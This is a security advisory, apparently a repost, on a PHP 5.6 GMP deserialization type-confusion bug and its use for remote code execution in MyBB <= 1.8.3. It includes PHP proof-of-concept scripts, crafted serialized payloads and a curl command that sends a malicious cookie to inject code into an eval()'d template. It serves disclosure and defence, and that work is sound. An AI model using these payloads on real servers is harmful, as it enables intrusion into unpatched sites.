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体验盒子#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]
Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date: 2015.4.28 - Release Date: 2017.1.20
> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.30
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
```
zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
```
It has been demonstrated many times before that __wakeup() or other magic methods leads to `ZVAL` was changed from the memory in during deserializtion. So an attacker can change `**object` into an integer-type or bool-type `ZVAL`, then the attacker will be able to access any objects that stored in objects store via `Z_OBJ_P`. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.
The following codes will prove this vulnerability:
```
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);
?>
```
Expected result:
```
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
```
Actual result:
```
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#3 (1) {
["ryat"]=>
&int(1)
}
}
```
**i) How to exploited this bug in real world?**
When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type `ZVAL` via GMP's gmp_cast_object():
```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
mpz_ptr gmpnum;
switch (type) {
...
case IS_LONG:
gmpnum = GET_GMP_FROM_ZVAL(readobj);
INIT_PZVAL(writeobj);
ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
return SUCCESS;
```
The following codes will prove this exploite way:
```
<?php
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
?>
```
Of course, a crafted __wakeup() can also be exploited, ex:
```
<?php
function __wakeup()
{
$this->ryat = (int) $this->ryat;
}
?>
```
**ii) Can be exploited this bug in real app?**
Exploited the bug in MyBB:
index.php
```
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
```
MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update `$mybb` or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)
**P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.**
Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**
index.php
```
eval('$index = "'.$templates->get('index').'";');
```
MyBB always use eval() function in during template parsing.
inc/class_templates.php
```
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
```
If we can control the `$cache`, we will be albe to inject PHP code via eval() function.
inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
```
The `$templates` object was instantiated in init.php, and four objects was instantiated in this before. This means the `$templates` object's handle was set to `5` and stored into objects store, so we can access the `$templates` object and update the `$cache` property via convert GMP object into integer-type `ZVAL` that value is `5` in during GMP deserialization. This also means we can inject PHP code via eval() function.
When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
```
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